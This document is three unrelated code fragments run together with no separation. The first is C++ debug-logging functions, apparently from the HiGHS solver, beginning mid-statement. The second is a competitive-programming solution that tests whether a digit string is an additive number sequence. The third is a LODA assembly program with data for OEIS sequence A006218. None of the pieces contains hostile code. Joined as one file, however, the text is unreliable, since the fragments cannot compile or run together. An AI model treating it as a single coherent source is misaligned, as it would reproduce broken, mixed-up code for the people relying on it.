HIGHSINT_FORMAT "", i); highsLogDev(log_options, HighsLogType::kWarning, "\nNwBaseI"); for (HighsInt i = 0; i < num_row; i++) highsLogDev(log_options, HighsLogType::kWarning, " %2" HIGHSINT_FORMAT "", basic_index[i]); highsLogDev(log_options, HighsLogType::kWarning, "\n"); } } void debugLogRankDeficiency( const HighsInt highs_debug_level, const HighsLogOptions& log_options, const HighsInt rank_deficiency, const HighsInt basis_matrix_num_el, const HighsInt invert_num_el, const HighsInt& kernel_dim, const HighsInt kernel_num_el, const HighsInt nwork) { if (highs_debug_level == kHighsDebugLevelNone) return; if (!rank_deficiency) return; highsLogDev( log_options, HighsLogType::kWarning, "Rank deficiency %1" HIGHSINT_FORMAT ": basis_matrix (%" HIGHSINT_FORMAT " el); INVERT (%" HIGHSINT_FORMAT " el); kernel (%" HIGHSINT_FORMAT " " "dim; %" HIGHSINT_FORMAT " el): nwork = %" HIGHSINT_FORMAT "\n", rank_deficiency, basis_matrix_num_el, invert_num_el, kernel_dim, kernel_num_el, nwork); } void debugPivotValueAnalysis(const HighsInt highs_debug_level, const HighsLogOptions& log_options, const HighsInt num_row, const vector<double>& u_pivot_value) { if (highs_debug_level < kHighsDebugLevelCheap) return; double min_pivot = kHighsInf; double mean_pivot = 0; double max_pivot = 0; for (HighsInt iRow = 0; iRow < num_row; iRow++) { double abs_pivot = fabs(u_pivot_value[iRow]); min_pivot = min(abs_pivot, min_pivot); max_pivot = max(abs_pivot, max_pivot); mean_pivot += log(abs_pivot); } mean_pivot = exp(mean_pivot / num_row); if (highs_debug_level > kHighsDebugLevelCheap || min_pivot < 1e-8) highsLogDev(log_options, HighsLogType::kError, "InvertPivotAnalysis: %" HIGHSINT_FORMAT " pivots: Min %g; Mean " "%g; Max %g\n", num_row, min_pivot, mean_pivot, max_pivot); }
//Made By Phuong Nam PROPTIT <3// #pragma GCC Optimize("O3") #include<bits/stdc++.h> #include<string> #include<vector> #define endl '\n' #define alphaa "abcdefghijklmnopqrstuvwxyz" #define ALPHAA "ABCDEFGHIJKLMNOPQRSTUVWXYZ" #define f(i,a,b) for(int i=a;i<=b;i++) #define f1(i,n) for(int i=1;i<=n;i++) #define f0(i,n) for(int i=0;i<n;i++) #define ff(i,b,a) for(int i=b;i>=a;i--) #define sp(x) cout<<x<<" " #define en(x) cout<<x<<endl #define el cout<<'\n' #define fi first #define se second #define pb push_back #define pk pop_back #define pii pair<int,int> #define pll pair<ll,ll> using namespace std; typedef long long ll; const int N=1e6+3; const int MOD=1e9+7; string add(string a,string b) { while(a.size()<b.size()) a='0'+a; while(b.size()<a.size()) b='0'+b; int nho=0; string kq=""; for(int i=b.size()-1;i>=0;i--) { nho=nho+(a[i]-'0')+(b[i]-'0'); char k=nho%10+'0'; kq=k+kq; nho/=10; } if(nho>0) kq='1'+kq; return kq; }//tao ra 2 sum dau tien r sau do de quy dan dan bool kt(string s,int l,int r,int t) { string s1=s.substr(l,r); string s2=s.substr(l+r,t); string s3=add(s1,s2); int sz=s3.size(); if(s3.size()>s.size()-l-r-t) return 0; if(s3==s.substr(l+r+t,sz)) { if(l+r+t+sz==s.size()) return 1; return kt(s,l+r,t,sz); } return 0; } bool check(string s) { f1(i,s.size()-1) { for(int j=1;i+j<=s.size()-1;j++) { if(kt(s,0,i,j)) return 1; } } return 0; } int main() { ios::sync_with_stdio(false);cin.tie(0);cout.tie(0); int t; cin>>t; while(t--) { string s; cin>>s; if(check(s)) cout<<"Yes"<<'\n'; else cout<<"No"<<'\n'; } return 0; } //-----YEU CODE HON CRUSH-----//
; A006218: a(n) = Sum_{k=1..n} floor(n/k); also Sum_{k=1..n} d(k), where d = number of divisors (A000005); also number of solutions to x*y = z with 1 <= x,y,z <= n. ; Submitted by Jamie Morken(s4) ; 0,1,3,5,8,10,14,16,20,23,27,29,35,37,41,45,50,52,58,60,66,70,74,76,84,87,91,95,101,103,111,113,119,123,127,131,140,142,146,150,158,160,168,170,176,182,186,188,198,201,207,211,217,219,227,231,239,243,247,249,261,263,267,273,280,284,292,294,300,304,312,314,326,328,332,338,344,348,356,358,368,373,377,379,391,395,399,403,411,413,425,429,435,439,443,447,459,461,467,473 mov $2,$0 lpb $0 mov $0,$2 add $1,1 add $3,1 div $0,$3 sub $0,$3 add $1,$0 add $1,$0 lpe mov $0,$1